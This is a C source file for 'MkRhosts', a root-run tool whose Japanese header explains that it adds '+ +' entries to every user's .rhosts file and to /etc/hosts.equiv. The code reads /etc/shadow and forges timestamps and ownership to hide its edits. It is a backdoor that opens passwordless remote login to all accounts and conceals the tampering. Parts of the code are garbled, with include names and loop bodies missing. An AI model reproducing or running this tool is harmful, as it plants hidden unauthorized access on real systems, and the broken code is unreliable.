/*========================================================= MkRhosts Programmed by UNYUN [使い方] コンパイル後rootで実行すると、全ユーザのホームに"+ +"され た.rhosts、および"+ +"の/etc/hosts.equivエントリが追加。 日付、User、Owner等もちゃんと合わせる ========================================================= */ #include #include #include #include #include #define PASSWORD_FILE "/etc/shadow" #define HOSTS_EQUIV "/etc/hosts.equiv" #define PASSWORD_WIDTH 100 int existpasswd(char *name) { FILE *fp; char buf[PASSWORD_WIDTH]; int i,j,c; if ((fp=fopen(PASSWORD_FILE,"r"))==NULL) return(-1); for (;;){ if (feof(fp)) break; for (i=0;ipw_dir); if (*(p->pw_dir+strlen(p->pw_dir)-1)!='/') strcat(tmp,"/"); sprintf(buf,"%s.rhosts",tmp); st.st_atime=0; if (stat(buf,&st)==-1) for (i=0;;i++){ if (gnfile[i][0]==0) break; sprintf(tmp2,"%s%s",tmp,gnfile[i]); if (stat(tmp2,&st)!=-1) break; } if ((fp=fopen(buf,"a"))==NULL) return; fprintf(fp,"+ +\n"); fclose(fp); printf("%s\n",buf); if ((ut.actime=st.st_atime)!=0){ ut.modtime=st.st_mtime; utime(buf,&ut); chown(buf,st.st_uid,st.st_gid); } } main() { struct passwd *p; static char *gnfile[]={"/etc/hosts","/etc/services","/.",""}; FILE *fp; struct stat st; struct utimbuf ut; int i; setpwent(); for (;;){ if ((p=getpwent())==NULL) break; if (strlen(p->pw_shell)==0) continue; if (existpasswd(p->pw_name)!=1) continue; add_rhosts(p); } endpwent(); st.st_atime=0; if (stat(HOSTS_EQUIV,&st)==-1) for (i=0;;i++){ if (gnfile[i][0]==0) break; if (stat(gnfile[i],&st)!=-1) break; } if ((fp=fopen(HOSTS_EQUIV,"a"))==NULL) return; fprintf(fp,"+ +\n"); fclose(fp); printf("%s\n",HOSTS_EQUIV); if ((ut.actime=st.st_atime)!=0){ ut.modtime=st.st_mtime; utime(HOSTS_EQUIV,&ut); chown(HOSTS_EQUIV,st.st_uid,st.st_gid); } }